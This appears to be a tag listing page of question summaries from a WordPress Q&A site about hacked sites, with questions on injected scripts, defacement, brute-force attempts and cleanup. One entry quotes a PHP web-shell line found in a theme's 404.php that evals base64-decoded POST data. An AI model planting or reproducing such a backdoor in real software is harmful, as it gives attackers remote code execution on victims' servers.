About web sites before and after a security breach. If you need this tag your question is probably off topic.
0
votes
0answers
18 views
Core files changed - site hacked?
Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:
WordPress core file modified: wp-content/plugins/akismet/admin.php
WordPress ...
0
votes
0answers
62 views
Why does My WordPress site keep getting hacked? [closed]
Why does My WordPress site keep getting hacked?
I have made all of the changes I can according to WordPress's hardening documentation.
Each time, the administrative password is reset. How can that ...
0
votes
0answers
15 views
Brute force attack - how to tell if site has been compromised? [duplicate]
What is the best way to check if a site has been compromised? I'm assuming an attacked site won't show any "symptoms", correct? I've checked a few FTP directories and haven't seen anything, what else ...
0
votes
0answers
43 views
Wordpress installer attack
I'm facing a repeated attack on my wordpress.
The bots are attempting to force wordpress into installation mode, despite 503'ing requests for install globally and having heavily locked down security ...
0
votes
0answers
57 views
wp-count.php injection [closed]
My site was infected by wp-count.php and wp-apps.php files.
It's been a year since this topic has been raised everywhere, but no solution so far? Is this really a WordPress vulnerability issue or a ...
1
vote
2answers
58 views
Suspicious Files
Hi I found two suspicious files on my site:
The first in my theme (404.php), with this line added
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
The second in ...
0
votes
3answers
135 views
Is it a good idea to rename the “index.php” in “wp-admin” folder to avoid being hacked?
My wordpress has been hacked for 2 or 3 times. How can I increase its security? Is it a good way to rename the index.php in wp-admin directory?
0
votes
1answer
213 views
After being hacked Fatal error: Call to undefined function get_header() in 404.php on line 1
After having timthumb.php exploited.
The site was upgraded to WP 3.5
It was compromised again, (wp-config included encrypted data as well as the functions.php in the wp-include directory.
After ...
10
votes
1answer
1k views
If a hacker changed the blog_charset to UTF-7 does that make WordPress vulnerable to further attacks?
I had a client who got hacked recently and I noticed that there were weird characters appearing on her site, like  and Æ. It turns out that the hackers changed the blog_charset to UTF-7 in the ...
1
vote
0answers
80 views
How to restore my wordpress site on your server? [closed]
Yesterday my wordpress site "http://planetofcoders.com", Hacked by someone Bangladeshi hacker. After that I did delete all site and database data. I have my site and database backup as on 09-Nov-2012. ...
0
votes
1answer
440 views
0
votes
0answers
104 views
PHP files in Wordpress Upload folder is my site hacked? [closed]
Today I noticed in my server logs there are thousands of requests for the following files
/wp-content/uploads/2012/10/mailer7.php
/wp-content/uploads/2012/10/keymailer.php
When I checked the folders ...
0
votes
0answers
186 views
WordPress 3.3.1 HACKED - links edited and added [closed]
I just discovered that my Wordpress websites has been hacked! Large number of links is changed and now have what look like random number at the end. For the example:
...
0
votes
2answers
190 views
Any known bugs that could cause disappearance of the wp_users table?
I administer a number of WordPress-powered web sites.
One of these sites is new, and has been running untouched since it was set up a month ago. Today, I tried to log in, but was unable to do so - ...
-1
votes
1answer
355 views
Where do hackers usually run their hacking script? [closed]
So in my quest to solve this mystery, I actually found some script that might be similar to one used to deface our sites: http://pastebin.com/raw.php?i=hcvPE8YV
Now my question is where do they ...
0
votes
1answer
2k views
Websites defaced by uploading script using theme editor
We've had several Wordpress sites defaced, all of them having the same pattern (at least the raw access log says so). From the logs it appears they directly login to Wordpress then go to theme editor ...
0
votes
1answer
46 views
Is there any pre-existing plugin to track and block IPs with suspicious activity on my site?
The image below shows a recent (failed) attempt to crack my Wordpress install. It's easy for me to look at that and see what they were doing, but is there a plugin that exists that monitors this data ...
0
votes
0answers
131 views
Sites got script injection.. how to find and permanently prevent? [closed]
I am using shared host, for the last 3 weeks, all of my websites under the same account got script injection both Wordpress and non-Wordpress site. Today I have found the injection again on the new ...
-1
votes
1answer
282 views
suspicious boolean.php file in wp web root [closed]
Today I noticed in my web root a suspicious php file: boolian.php and serveral .html files with random names, all containing trojans.
I remember yesterday I just uploaded and activated few themes I ...
0
votes
4answers
318 views
Prevent Hacking of Wordpress Site [closed]
My Wordpress site is beign hacked by some hackers of Saudi Arabia. How can i prevent them from hacking. I have also found that many other Wordpress sites have also been hacked.
0
votes
1answer
325 views
Malware on site [closed]
Hi when I try to enter my site I get redirected to another site. IT appears the htaccess file has been changed. When I scan the site with Sucuri I get this error
Known javascript malware.
Details: ...
0
votes
2answers
206 views
On new server, site got hacked, permissions a bit strange? Please help
I moved to a new server recently, a week later a site got hacked, all they did was change the index.php file of the current enabled theme, no big deal. I did have a few security precautions in place, ...
0
votes
1answer
270 views
Strange codes in my wordpress site and my website is running too slow [closed]
I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything ...
0
votes
2answers
41 views
What can I do when an outside party hacks into my weblog and changes my display name?
Last night I wrote a mildly controversial blog post about religion on my weblog, and this morning I woke up to find that my display name had been changed to the name of a fanatic religious leader. The ...
-1
votes
3answers
618 views
Wordpress Hacks/Defacing [closed]
Im trying to figure out how Wordpress sites become defaced/hacked. I know development very well. I know how to secure code, etc. But I am finding recently, that tons of Wordpress sites are becoming ...
1
vote
1answer
344 views
How was my WP site hacked [closed]
My site, http://www.cancer-study.com, has been hacked, and I can't login to wp-admin.
Can you say how it has been hacked and what can I do to undo the damage?
I have access to the host.
0
votes
1answer
439 views
Site blocked by WebSense on fresh WP Install
Just put up a new WP 3.2.1 install running twenty eleven, with one post "coming soon". I haven't yet begun developing the site. At my place of business, it is currently blocked by WebSense as ...
1
vote
5answers
5k views
Change WP-Login or WP-Admin
Can I change the name of the wp-login or wp-admin file so that I can go to a different filename in order to login. I am trying to prevent hackers from finding my login and wp-login has become a very ...
0
votes
3answers
191 views
Suspicious URLs being loaded after hack and restore
I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there.
I used Fantastico to install a clean release of WP 3.1, and I still some something ...
55
votes
12answers
6k views
Verifying that I have fully removed a WordPress hack?
My for-fun WordPress blog at http://fakeplasticrock.com (running WordPress 3.1.1) got hacked -- it was showing an <iframe> on every page like so:
<iframe ...
2
votes
2answers
777 views
Has anyone experience w/ WordPress (MultiSite) hidden users (possibly hacked)?
I have 2 WordPress MultiSite installs (on different accounts, but under the same HostGator reseller a/c) and both seem to have been compromised. I say "compromised" because the user_logins have been ...
-3
votes
3answers
154 views
Should WordPress Add Options to Enhance Security or Leave it to plugin developers?
Based on the passion engendered with the responses to this question. It appears that the answer is a resounding "Nothing!" or "leave it to plugin developers to handle, WP is already secure enough"...
...
4
votes
2answers
448 views
How Attackers write script into my php files?
I have a blog created with wordpress, now i have a problem. Attackers writes javascript codes into my files.
Let's assume i have holes in my plugin scripts, but how can they write into php files?
...
0
votes
2answers
2k views
Scanning Database for malicious Data
After a site of a friend has been hacked I told him he should just clean up the mess and restart from scratch so he know that no file has been altered.
I could scan the site for him with tools like ...
